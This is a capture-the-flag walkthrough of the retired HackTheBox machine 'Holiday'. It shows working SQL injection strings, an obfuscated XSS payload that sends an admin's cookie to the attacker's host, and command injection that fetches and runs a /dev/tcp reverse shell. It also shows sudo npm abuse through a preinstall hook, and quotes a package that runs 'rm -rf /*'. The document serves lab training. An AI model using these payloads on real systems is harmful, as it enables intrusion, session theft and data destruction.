HTB: Holiday

Holiday was a fun, hard, old box. The path to getting a shell involved SQL injection, cross site scripting, and command injection. The root was a bit simpler, taking advantage of a sudo on node package manager install to install a malicious node package.

Box Info

Name	Holiday Play on HackTheBox
Release Date	02 Jun 2017
Retire Date	18 Nov 2017
OS	Linux
Base Points	Hard [40]
Rated Difficulty
Radar Graph
	3 days 20:40:01 tomtoump
	3 days 21:18:33 tomtoump
Creator	g0blin

Recon

nmap

nmap shows two ports, ssh (22) and http served by Node.js (8000):

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.25
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-04 03:12 EDT
Warning: 10.10.10.25 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.25
Host is up (0.083s latency).
Not shown: 48784 filtered ports, 16749 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 66.77 seconds
root@kali# nmap -p 22,8000 -sC -sV -oA scans/nmap-tcpscripts 10.10.10.25
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-04 03:14 EDT
Nmap scan report for 10.10.10.25
Host is up (0.037s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c3:aa:3d:bd:0e:01:46:c9:6b:46:73:f3:d1:ba:ce:f2 (RSA)
|   256 b5:67:f5:eb:8d:11:e9:0f:dd:f4:52:25:9f:b1:2f:23 (ECDSA)
|_  256 79:e9:78:96:c5:a8:f4:02:83:90:58:3f:e5:8d:fa:98 (ED25519)
8000/tcp open  http    Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.13 seconds

Website - TCP 8000

Site

The site is just an outline of a hexagon:

The page source doesn’t reveal anything further, though it is interesting that it’s importing common javascript frameworks jquery and bootstrap to just show an image:

<!DOCTYPE html>
<html lang="en">
  <head>
      <meta charset="utf-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <title>Booking Management</title>
      <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0">
      <link rel="stylesheet" type="text/css" href="/css/bootstrap.min.css" />
      <link rel="stylesheet" type="text/css" href="/css/main.min.css" />
      <script src="/js/jquery.min.js"></script>
      <script src="/js/bootstrap.min.js"></script>
  </head>

  <body>
      <center><img class='hex-img' src='/img/hex.png'/></center>

  </body>
</html>

Web Path Bruteforce

gobuster returns nothing:

root@kali# gobuster dir -u http://10.10.10.25:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.25:8000
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/09/04 03:19:26 Starting gobuster
===============================================================
===============================================================
2019/09/04 03:26:27 Finished
===============================================================

Given recent experiences being burned by gobuster, I gave dirsearch a run, and it found a bunch:

root@kali# dirsearch.py -u http://10.10.10.25:8000

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions:  | Threads: 10 | Wordlist size: 5686

Error Log: /opt/dirsearch/logs/errors-19-09-04_03-27-01.log

Target: http://10.10.10.25:8000

[03:27:01] Starting: 
[03:27:07] 302 -   28B  - /admin  ->  /login
[03:27:07] 302 -   28B  - /ADMIN  ->  /login
[03:27:07] 302 -   28B  - /Admin  ->  /login
[03:27:08] 302 -   28B  - /admin/  ->  /login
[03:27:08] 302 -   28B  - /admin/?/login  ->  /login
[03:27:15] 301 -  165B  - /css  ->  /css/
[03:27:20] 301 -  165B  - /img  ->  /img/
[03:27:21] 301 -  163B  - /js  ->  /js/
[03:27:22] 200 -    1KB - /login
[03:27:22] 200 -    1KB - /Login
[03:27:22] 200 -    1KB - /login/
[03:27:23] 302 -   28B  - /logout  ->  /login
[03:27:23] 302 -   28B  - /logout/  ->  /login

Task Completed

gobuster has burned me in the past is on weird http response codes that aren’t in the whitelist. But in this case, I 200, 301, and 302, all of which were in the whitelist above.

To figure out why (not that I really need to, but I wanted to know), I created a really short word list of paths that should match, one 200 and one 302:

root@kali# cat dirs 
login
admin

Now I’ll run both dirsearch and gobuster through burp so I can compare:

root@kali# gobuster dir -u http://10.10.10.25:8000 -w dirs -p http://127.0.0.1:8080
root@kali# dirsearch.py -u http://10.10.10.25:8000 -w dirs --proxy=http://127.0.0.1:8080

I’ll start looking at the request for /login. gobuster gets a 404 response, where dirsearch gets a 200.

gobuster	dirsearch
GET /login HTTP/1.1 Host: 10.10.10.25:8000 User-Agent: gobuster/3.0.1 Accept-Encoding: gzip, deflate Connection: close	GET /login HTTP/1.1 Host: 10.10.10.25:8000 User-agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: / Connection: close Accept-Language: en-us Keep-Alive: 300 Cache-Control: max-age=0

The biggest difference between the two is the User-agent string. I’ll kick the dirsearch one over to repeater and play with it.

First thing I do is test that it gets a 200. It does. Then I change the User-agent to 0xdf. It 404s. I start deleting words from the UA, testing after each delete. If it works, I keep deleting. If removing something breaks it, I leave it in. I get down to User-agent: Windows NT 6.1 with it still returning 200. Some quick playing around shows that it also works if the 6 is a 5 and/or the 1 is a 2, but not other numbers. It appears to be case insensitive.

I also tested replacing Windows with Linux, and that worked too (in fact, without an version number, just the string Linux works).

I could fuzz this further, checking for other strings that might work, but for now, I’ll remember to use a realistic User-Agent should I use any more web tools on this host.

Shell as algernon

Getting a shell as algernon will take three distinct exploits: SQL injection, cross site scripting (xss), and command injection.

Access to Booking Details (SQLi)

As I head to /login, I’m presented with a login form:

Trying “admin” / “admin” returns a message “Invalid User”:

It’s a good sign that it seems to differentiate between invalid user and incorrect password. I can potentially try to brute force usernames if I can get SQLi to work (which I can).

SQLi

I’ll kick the login POST over to Burp repeater. Leaving the password as admin, next I try user name ' and ".

As I learned the hard way in a recent live CTF, always check for SQLi with both ' and ". The former returns “Invalid User”, but the latter returns a new error, “Error Occurred”:

Click for full size image

That’s a good sign. Now I’ll try to bypass the login by setting the username to " OR "1"="1. A new error message again, “Incorrect Password”, suggests I’ve bypassed the username check. But even more interestingly, the Username field now comes with a prefilled value, “RickA”:

Click for full size image

So not only do I have a username that’s valid (I can check by trying to log in and seeing the “Incorrect Password” message and not “Invalid User”), but I have some output of the database.

With a valid username, I thought maybe I could bypass password all together with a comment. But submitting RickA" -- - as username returned “Error Occurred”. This means that I am not quite right with the structure of the query. I played around with this input, adding ) to try to get it balanced out, and eventually got back to “Incorrect Password” with RickA")) -- -. This tells me that the query looks something like (where { } marks input):

SELECT * FROM users where ((password = hash({password})) and (username = {username}))

The password part must come first, or else my comments would have led to my getting into the site.

I can now try to figure out how many columns are being returned by adding a UNION. If no rows come back from the first select, but one “row” is created by my UNION, I’ll get a way to leak information from the database.

So I start with ")) UNION SELECT 1 -- -, and get an error. The error is because the number of columns expected doesn’t match the UNION. Next I try ")) UNION SELECT 1,2 -- -, and error. At ")) UNION SELECT 1,2,3,4 no error, and I can see the returned username of “2”:

Click for full size image

Now that I can leak data, I next want to get the DB version. It will also help me understand what kind of database I’m running. Replacing the 2 with various commands to get the version will not only tell me the version, but identify what kind of database this is. So when @@version (mysql and mssql) and version() (postgresql) fail, I try sqlite_version() and it works:

Click for full size image

Now I can start to get more interesting stuff into that one entry of text that is returned. PayloadsAllTheThings has a sqlite injection page which is a good reference.

I’ll list the table names using ")) UNION SELECT 1,group_concat(tbl_name),3,4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'-- -. It returns “users,notes,bookings,sessions”.

Thinking that the users table looks most interesting, I’ll get the columns from it using ")) UNION SELECT 1,sql,3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='users'-- -. I get back:

CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,active TINYINT(1))

I could keep digging around, but I’ll go for the data here with ")) UNION SELECT 1,group_concat(username),3,4 FROM users-- -. Only one user is returned, the one I already know about, RickA. Now I’ll get the password, replacing group_concat(username) with password, and it returns “fdc8cd4cff2c19e0d1022e78481ddf36”. Given that’s 32 characters, it seems like an md5, and hashes.org confirms it is the md5 of “nevergonnagiveyouup”:

Escalation to administrator on Booking Details (XSS)

Enumeration

Now with the username and password, I can log into the site:

Clicking on the UUID shows the details:

On the Notes tab, there’s an input form:

It’s interesting to see the note that all notes must be approved, and that it can take up to a minute. This implies some kind of user interaction, probably once a minute.

XSS

First I like to start with an image to see if this theory is correct, and it’s less likely to be filtered. I’ll start an http server, and submit <img src='http://10.10.14.30/test.jpg' />. Within a minute I get a hit:

root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - [04/Sep/2019 15:30:18] code 404, message File not found
10.10.10.25 - - [04/Sep/2019 15:30:18] "GET /test.jpg HTTP/1.1" 404 -

Back on the page, I can see my input:

So even if it’s not handled as HTML here, it may be by the reviewing system.

I’ll try a basic payload, <script>alert('XSS')</script>, not because I expect it will pop on the site I see, but because seeing what comes back will give me some insight into the filtering. After minute, I see the payload is a bit mangled:

I started submitting more payloads from various XSS cheat sheets around the internet, and eventually (after a ton of trial and error) found this one:

<img src="x` `<script>javascript:alert(1)</script>"` `>

It gets a bit mangled, but the script tags come through:

It seems to remove the quotes, but then not mess with the brackets that are between the quotes.

I tried to use <img src="x <script>document.location='http://10.10.14.30/?c='+document.cookie</script>" > to get cookies, but it didn’t work. I noticed in the output that the ' were all removed:

I’ll try javascript that writes a script tag that is sourced back to me:

<img src="x` `<script>document.write('<script src="http://10.10.14.30/0xdf.js"></script>');</script>"` `>`

Again, no love.

I’ll try encoding the inside. First I’ll use python to convert it to ints:

>>> payload = '''document.write('<script src="http://10.10.14.30/0xdf.js"></script>');'''
>>> ','.join([str(ord(c)) for c in payload])
'100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,51,48,47,48,120,100,102,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59'

Now I make a payload:

<img src="x` `<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,51,48,47,48,120,100,102,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))</script>"` `>`

That didn’t work either, but after a ton of tinkering, I got this to work, in that I saw a connection on nc:

<img src="/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,51,48,47,48,120,100,102,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))</script>" />

root@kali# nc -lnvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.25.
Ncat: Connection from 10.10.10.25:43706.
GET /0xdf.js HTTP/1.1
Accept: */*
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 10.10.14.30

Now that it is trying to get javascript from me to run, I will give it some. I’ll make a file that waits for the page to load, and then executes a request to me:

root@kali# cat 0xdf.js 
window.addEventListener('DOMContentLoaded', function(e) {
    window.location = "http://10.10.14.30:81/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})

I’ll re-submit the same payload, with python acting as a webserver, and nc listening on 81. It hits the webserver:

root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - [04/Sep/2019 18:10:26] "GET /0xdf.js HTTP/1.1" 200 -

And then I get the request with the cookie on nc:

root@kali# nc -lnvp 81
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::81
Ncat: Listening on 0.0.0.0:81
Ncat: Connection from 10.10.10.25.
Ncat: Connection from 10.10.10.25:46152.
GET /?cookie=connect.sid=s%253Ab3c4cce0-cf60-11e9-84a9-cb2ef2ea7a59.ZKayGjSEn27vNWWhzADjAyFYV2tPHlaWeErLRJZQpsM HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 10.10.14.30:81

I’ll take that cookie and update mine in Firefox dev tools:

On page refresh, the page looks the same, but there’s an Admin tab:

It allows me to approve notes here:

Command Injection

Enumeration

There’s not much else I can do in the current page, but thinking back to the dirsearch, there was /admin. Visiting there returns another page:

If I hit the bookings button, I get a file that is rows of pipe separated values:

e2d3f450-bdf3-4c0a-8165-e8517c94df9a|Wilber Schowalter|A697I|Werner.Walsh56@gmail.com|183.0|1497933864607|1498458169878|Alishabury
2332eef6-0f05-413a-aac1-ac5772e9dd8a|Sedrick Homenick|3RMYF|Hermann.Gutmann@gmail.com|847.0|1515149552629|1520893749909|New Dedric
ffd52467-9fa2-4b9a-90f7-995cbc705055|Miss Gisselle West|PP9VY|Gordon2@hotmail.com|502.0|1515329040778|1521227597426|West Jammie
f712cfb3-0b33-40ea-998e-c5c592cfe78d|Bridget Conn|UAY1O|Ubaldo29@gmail.com|337.0|1514384362631|1518897271120|West Duane
c759bc3b-6b4b-421f-a266-1f83dbd79c79|Prudence Klein|88NUL|Arnaldo.Lemke80@gmail.com|406.0|1508369395503|1513895747866|Artview
67ba406b-ab94-4e63-b7f2-be8fd3ccfe91|Terrence Batz|60JWN|Vada21@gmail.com|644.0|1514050328936|1516567931551|Tysonfurt
...[snip]...

I’ll check out that request, it’s a GET to /admin/export?table=bookings. The notes export button goes to table=notes.

I tried another table I knew from the db, users, and got back:

1|RickA|fdc8cd4cff2c19e0d1022e78481ddf36|1

I wanted to get a full list of the tables, so I checked the sqlite_master table, but an error came back:

Invalid table name - only characters in the range of [a-z0-9&\s\/] are allowed

That’s interesting. Why would a table name need a space, forward slash, or ampersand. The ampersand inspired me to try command injection by visiting /admin/export?table=users%26id:

uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)
1|RickA|fdc8cd4cff2c19e0d1022e78481ddf36|1

Shell / Filter Bypass

Now that I have code execution, I’ll need a shell. All the reverse shells I typically use have tons of banned characters in them. The first thing I need to figure out is how to get my ip. Luckily, there’s a trick on Linux that IPs can be written in hex. On my local box, I’ll demonstrate. 127 = 0x7f, 0 = 0x00, and 1 = 0x01. So I can ping 0x7f000001:

root@kali# ping -c 1 0x7f000001
PING 0x7f000001 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.028 ms

--- 0x7f000001 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.028/0.028/0.028/0.000 ms

Once you have that trick, the rest is rather straight forward. I’ll create a file, rev with a reverse shell in it:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.30/443 0>&1

Now I’ll use wget to get it onto Holiday. Nothing comes back in the response:

But I do get a hit on my webserver:

10.10.10.25 - - [07/Sep/2019 05:39:33] "GET /rev HTTP/1.1" 200 -

I can also see it on Holiday using ls:

Now i’ll run it by visiting /admin/export?table=b%26bash+rev:

root@kali# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.25.
Ncat: Connection from 10.10.10.25:54220.
bash: cannot set terminal process group (1146): Inappropriate ioctl for device
bash: no job control in this shell
algernon@holiday:~/app$ id
uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)

And that’s enough to find user.txt one directory up:

algernon@holiday:~$ cat user.txt 
5edc176c...

Shell as root

Enumeration

Enumeration is often short when I find something interesting in the first place I check, sudo -l:

algernon@holiday:~$ sudo -l
Matching Defaults entries for algernon on holiday:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *

This user can run npm as root without a password.

NodeJS npm

Some googling led me to this post about how npm can be dangerous. The idea is that a NodeJS package is defined in a file, package.json. The example from this repository looks like:

{
  "name": "rimrafall",
  "version": "1.0.0",
  "description": "rm -rf /* # DO NOT INSTALL THIS",
  "main": "index.js",
  "scripts": {
    "preinstall": "rm -rf /* /.*"
  },
  "keywords": [
    "rimraf",
    "rmrf"
  ],
  "author": "João Jerónimo",
  "license": "ISC"
}

There’s an item in there, scripts with a child preinstall that is a command that will run, before the install.

Shell

I’ll create my own package.json in a folder for my fake Node app. npm requires that a package have a name and a version.

algernon@holiday:/dev/shm$ cat 0xdf/package.json 
{
  "name": "root_please",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "/bin/bash"
  }
}

Now I’ll just give it a run:

algernon@holiday:/dev/shm$ sudo npm i 0xdf/ --unsafe

> root_please@1.0.0 preinstall /dev/shm/node_modules/.staging/root_please-ea155d5e
> /bin/bash

root@holiday:/dev/shm/node_modules/.staging/root_please-ea155d5e# id
uid=0(root) gid=0(root) groups=0(root)

From there I can grab root.txt:

root@holiday:/root# cat root.txt 
a844cb50...

Box Info

Recon

nmap

Website - TCP 8000

Site

Web Path Bruteforce

Shell as algernon

Access to Booking Details (SQLi)

Login Form Enumeration

SQLi

Escalation to administrator on Booking Details (XSS)

Enumeration

XSS

Command Injection

Enumeration

Shell / Filter Bypass

Shell as root

Enumeration

NodeJS npm

Shell